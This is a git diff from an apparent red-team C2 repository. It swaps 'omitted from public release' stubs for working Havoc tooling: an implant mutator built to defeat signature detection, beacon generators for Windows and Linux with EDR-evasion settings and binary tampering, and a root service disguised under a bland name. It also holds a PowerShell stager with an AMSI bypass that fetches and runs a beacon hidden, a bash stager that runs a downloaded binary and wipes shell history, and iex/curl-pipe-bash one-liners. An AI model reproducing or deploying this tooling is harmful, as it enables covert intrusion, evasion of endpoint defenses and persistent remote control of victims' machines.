TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
EOF
chmod +x "$IMPLANT_MUTATOR_SCRIPT"
# Perform mutations BEFORE building - this is critical
# log "Running implant mutations script before building..."
# if [ -d "$HAVOC_DIR/payloads/Demon" ]; then
# $IMPLANT_MUTATOR_SCRIPT
# if [ $? -ne 0 ]; then
# log "Warning: Implant mutation script ran with errors, but continuing build..."
# fi
# else
# log "Skipping implant mutations as Demon directory not found yet. Will be applied after build."
# fi
# Install additional Go dependencies for the teamserver
log "Installing Go dependencies for teamserver..."
cd $HAVOC_DIR/teamserver
go mod download golang.org/x/sys
cd $HAVOC_DIR
# Build Havoc using make - build teamserver first
log "Building Havoc teamserver..."
cd $HAVOC_DIR
make ts-build
# Build Havoc client
#log "Building Havoc client..."
#make client-build
# Create systemd service for Havoc
log "Creating systemd service for Havoc teamserver..."
cat > /etc/systemd/system/havoc.service << EOF
[Unit]
Description=Advanced Security Service
After=network.target
[Service]
Type=simple
User=root
Group=root
WorkingDirectory=$HAVOC_DIR/teamserver
ExecStart=$HAVOC_DIR/havoc server -d
Restart=always
RestartSec=10
# Security measures
PrivateTmp=true
ProtectHome=false
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
EOF
# Set proper permissions
log "Setting proper permissions..."
chmod -R 755 $HAVOC_DIR
# Create symlinks to executables in /usr/local/bin
ln -sf $HAVOC_DIR/havoc /usr/local/bin/havoc
ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate
# Enable and start Havoc service
log "Enabling and starting Havoc service..."
systemctl daemon-reload
systemctl enable havoc
systemctl start havoc
log "Havoc C2 installation completed successfully!"
+75 -8
View File
@@ -1,9 +1,76 @@
#!/bin/bash #!/bin/bash
# OMITTED — Havoc profile mutation script
# # === CONFIG ===
# Generates a randomized Havoc teamserver profile (.yaotl) for each engagement. IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon"
# Randomizes sleep jitter, kill dates, working hours, and C2 profile fields. SRC_DIR="$IMPLANT_DIR/src"
# Feeds output directly into the teamserver configuration pipeline. BUILD_ROOT="$HOME/Tools/Havoc"
# OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin"
# Omitted from public release. Present in operational deployments. BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup"
echo "[!] Havoc profile mutator not included in public release." TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
+64 -9
View File
@@ -1,10 +1,65 @@
#!/bin/bash #!/bin/bash
# OMITTED — implant mutation script # === CONFIG ===
# IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
# Randomizes Havoc Demon source identifiers (User-Agent, URI paths, named pipe SRC_DIR="$IMPLANT_DIR/src"
# names, mutex strings) before each compile to defeat signature-based detection. BUILD_ROOT="$HOME/Tools/havoc"
# Patches TransportHttp.c, Config.c, and the build Makefile in-place, compiles OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
# a fresh shellcode blob, and backs up the previous payload with a timestamp. BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
# TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# Omitted from public release. Present in operational deployments. # === COLORS ===
echo "[!] Implant mutator not included in public release." YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
@@ -1,10 +1,456 @@
{# OMITTED — evasive beacon generation template #} #!/bin/bash
{# # EDR-evasive beacon generator for Havoc C2
Jinja2 template rendered at deploy time. Produces a shell script that compiles # Every deployment produces completely unique payloads
Havoc Demon shellcode with per-engagement randomized identifiers, wraps the
shellcode in a chosen injection template (process hollowing, APC injection,
early-bird), and stages the result to the payload server.
Omitted from public release. Present in operational deployments. # Configuration (automatically populated by Ansible)
#} HAVOC_DIR="/root/Tools/Havoc"
echo "[!] Evasive beacon generator not included in public release." BEACONS_DIR="/root/Tools/beacons"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
# Ensure required directories exist
mkdir -p $BEACONS_DIR/windows
mkdir -p $BEACONS_DIR/linux
mkdir -p $BEACONS_DIR/staged
mkdir -p $BEACONS_DIR/shellcode
# Load Havoc configuration from profile
if [ -f "$PROFILE_FILE" ]; then
echo "[+] Loading Havoc configuration from profile..."
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
else
echo "[!] Warning: Profile file not found, using default values"
TEAMSERVER_PORT=40056
ADMIN_USER="admin"
ADMIN_PASS="admin"
HTTP_PORT=8080
HTTPS_PORT=443
fi
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Anti-detection function to modify binary files
modify_binary() {
local input_file=$1
echo "[+] Applying anti-detection modifications to: $input_file"
# Create a temporary file
local temp_file="${input_file}.tmp"
cp "$input_file" "$temp_file"
# Modify the file based on its type
if file "$input_file" | grep -q "PE32"; then
# Windows EXE/DLL modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
# Modify PE header timestamps with random value
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
# Try to strip debug information
if command -v strip &> /dev/null; then
strip --strip-debug "$temp_file" 2>/dev/null || true
fi
elif file "$input_file" | grep -q "ELF"; then
# Linux ELF modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
# Try to strip all symbols
if command -v strip &> /dev/null; then
strip --strip-all "$temp_file" 2>/dev/null || true
fi
fi
# Replace original with modified version
mv "$temp_file" "$input_file"
echo "[+] Binary modifications complete"
}
# Create advanced Havoc payload profile with evasion techniques
generate_profile() {
local type=$1
local profile_name="${type}_profile_$(random_string 8).json"
echo "[+] Creating evasive $type profile..."
# Generate random values for this profile
local sleep_time=$(( RANDOM % 10 + 2 ))
local jitter_percent=$(( RANDOM % 50 + 10 ))
if [ "$type" == "windows" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": $(( RANDOM % 3 )),
"ExecutionMethod": $(( RANDOM % 3 )),
"ExecuteOptions": $(( RANDOM % 2 ))
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true,
"SyscallMethod": $(( RANDOM % 3 )),
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
},
"Binary": {
"Subsystem": $(( RANDOM % 2 + 1 ))
}
}
}
EOF
elif [ "$type" == "linux" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"Injection": {
"SpawnMethod": $(( RANDOM % 2 )),
"AllocationMethod": $(( RANDOM % 2 ))
},
"Evasion": {
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
}
}
}
EOF
fi
echo "$profile_name"
}
# Generate Havoc payloads with EDR evasion techniques
generate_payloads() {
echo "[+] Generating EDR-evasive Havoc beacons..."
# Windows EXE
win_profile=$(generate_profile "windows")
win_output="update_win_$(random_string 8).exe"
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$win_profile" \
--format exe \
--output "$BEACONS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
modify_binary "$BEACONS_DIR/windows/$win_output"
fi
# Windows DLL
dll_profile=$(generate_profile "windows")
dll_output="module_$(random_string 8).dll"
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$dll_profile" \
--format dll \
--output "$BEACONS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
modify_binary "$BEACONS_DIR/windows/$dll_output"
fi
# Linux binary
linux_profile=$(generate_profile "linux")
linux_output="update_linux_$(random_string 8)"
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$linux_profile" \
--format elf \
--output "$BEACONS_DIR/linux/$linux_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
modify_binary "$BEACONS_DIR/linux/$linux_output"
fi
# Windows shellcode (staged payload)
shellcode_profile=$(generate_profile "windows")
shellcode_output="shellcode_$(random_string 8).bin"
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$shellcode_profile" \
--format shellcode \
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload information
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating evasive stagers..."
# Create PowerShell stager directory
mkdir -p $BEACONS_DIR/stagers
# PowerShell stager with AMSI bypass and obfuscation
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
# PowerShell stager for Havoc C2 with AMSI bypass
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
# AMSI Bypass
function Bypass-AMSI {
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
}
# Try to bypass AMSI
try { Bypass-AMSI } catch {}
# Randomize variables for evasion
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
# Error handling with obfuscation
$ErrorActionPreference = 'SilentlyContinue'
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
# Split URL to avoid detection
$r1 = "https://"
$r2 = "REDIRECTOR_HOST"
$r3 = "/content/windows/WINDOWS_EXE"
$url = $r1 + $r2 + $r3
# Download with jitter
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
try {
$wc.DownloadFile($url, $outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
# Start process with extra obfuscation
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = $outpath
$p.StartInfo.WindowStyle = 'Hidden'
$p.StartInfo.CreateNoWindow = $true
$p.Start()
} catch {
# Fail silently
}
EOF
# Replace placeholder values in PowerShell stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
# Bash stager with obfuscation techniques
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
#!/bin/bash
# Linux download and execute Havoc beacon with EDR evasion
# Function obfuscation
function x() {
command -v "$1" > /dev/null 2>&1
}
# Random temp filename
r() {
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
}
# Randomize variables
TMPVAR=$(r)
TMPFILE="/tmp/.${TMPVAR}"
# Check which download tool is available
if x curl; then
# Split URL to avoid signature detection
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
curl -s -o "$TMPFILE" "$url"
elif x wget; then
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
wget -q -O "$TMPFILE" "$url"
else
exit 1
fi
# Make executable and run in background
chmod +x "$TMPFILE"
# Add random sleep before execution
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
("$TMPFILE" > /dev/null 2>&1 &)
# Clean up command history if possible
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
history -c 2>/dev/null
echo "Update complete."
EOF
# Replace placeholder values in Bash stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
echo "[+] Stagers created successfully"
}
# Create manifest file
create_manifest() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating manifest file..."
cat > $BEACONS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"windows_shellcode": "$shellcode_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"havoc_teamserver_port": "$TEAMSERVER_PORT",
"havoc_http_port": "$HTTP_PORT",
"havoc_https_port": "$HTTPS_PORT",
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
}
EOF
}
# Create reference file
create_reference() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating reference file..."
cat > $BEACONS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
- Teamserver Port: $TEAMSERVER_PORT
- Admin User: $ADMIN_USER
- Admin Password: $ADMIN_PASS
Beacons Generated ($(date)):
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
Deployment Commands:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
Anti-Detection Features Enabled:
- Binary signature randomization
- PE/ELF header manipulation
- Sleep mask obfuscation
- AMSI bypass in stagers
- EDR unhooking
- Indirect syscalls
- Random sleep/jitter timing
EOF
}
# Main execution flow
echo "[+] Starting EDR-evasive Havoc beacon generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest file
create_manifest "$payload_info"
# Create reference file
create_reference "$payload_info"
echo "[+] EDR-evasive beacon generation complete!"
@@ -1,9 +1,260 @@
{# OMITTED — Havoc payload generation template #} #!/bin/bash
{# # EDR-evasive payload generator for Havoc C2
Renders a script that produces EXE, DLL, and raw shellcode variants from a
compiled Demon implant. Handles signing stubs, UPX packing decisions, and
drops artifacts to the payload server staging directory.
Omitted from public release. Present in operational deployments. # Configuration (automatically populated by Ansible)
#} PAYLOADS_DIR="/root/Tools/Havoc/payloads"
echo "[!] Havoc payload generator not included in public release." C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
TEAMSERVER_HOST="127.0.0.1"
TEAMSERVER_PORT="40056"
HAVOC_DIR="/root/Tools/Havoc"
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
# Ensure required directories exist
mkdir -p $PAYLOADS_DIR/windows
mkdir -p $PAYLOADS_DIR/linux
mkdir -p $PAYLOADS_DIR/staged
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Define Havoc profiles for different payloads
generate_profiles() {
echo "[+] Generating Havoc C2 profiles..."
# Profile for Windows EXE
cat > $PAYLOADS_DIR/win_exe.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": 0,
"ExecutionMethod": 0,
"ExecuteOptions": 0
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
# Profile for Linux ELF
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"Injection": {
"SpawnMethod": 1,
"AllocationMethod": 1
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
echo "[+] Profiles created successfully"
}
# Generate Havoc payloads with CLI arguments
generate_payloads() {
echo "[+] Generating Havoc payloads..."
# Windows EXE
win_output="agent_win_$(random_string 8).exe"
echo "[+] Generating Windows payload: $win_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format exe \
--output "$PAYLOADS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Windows DLL
dll_output="module_$(random_string 8).dll"
echo "[+] Generating Windows DLL: $dll_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format dll \
--output "$PAYLOADS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Linux ELF
linux_output="agent_linux_$(random_string 8)"
echo "[+] Generating Linux payload: $linux_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/linux_elf.profile" \
--format elf \
--output "$PAYLOADS_DIR/linux/$linux_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload names for reference
echo "$win_output:$dll_output:$linux_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating stagers..."
# PowerShell stager
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
# PowerShell stager for Havoc C2
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
\$ErrorActionPreference = 'SilentlyContinue'
\$wc = New-Object System.Net.WebClient
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
try {
\$wc.DownloadFile(\$url, \$outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath \$outpath
} catch {
# Fail silently
}
EOF
# Bash stager
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
#!/bin/bash
# Linux download and execute Havoc beacon
# Download binary to /tmp with random name
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
chmod +x \$TMPFILE
# Execute in background
\$TMPFILE &
echo "Update complete."
EOF
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
echo "[+] Stagers generated successfully"
}
# Create manifest file
create_manifest() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"generated_date": "$(date)"
}
EOF
echo "[+] Manifest created successfully"
}
# Create reference file
create_reference() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
Payloads Generated ($(date)):
- Windows EXE: $win_output
- Windows DLL: $dll_output
- Linux Binary: $linux_output
Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment
Payload deployment:
- PowerShell:
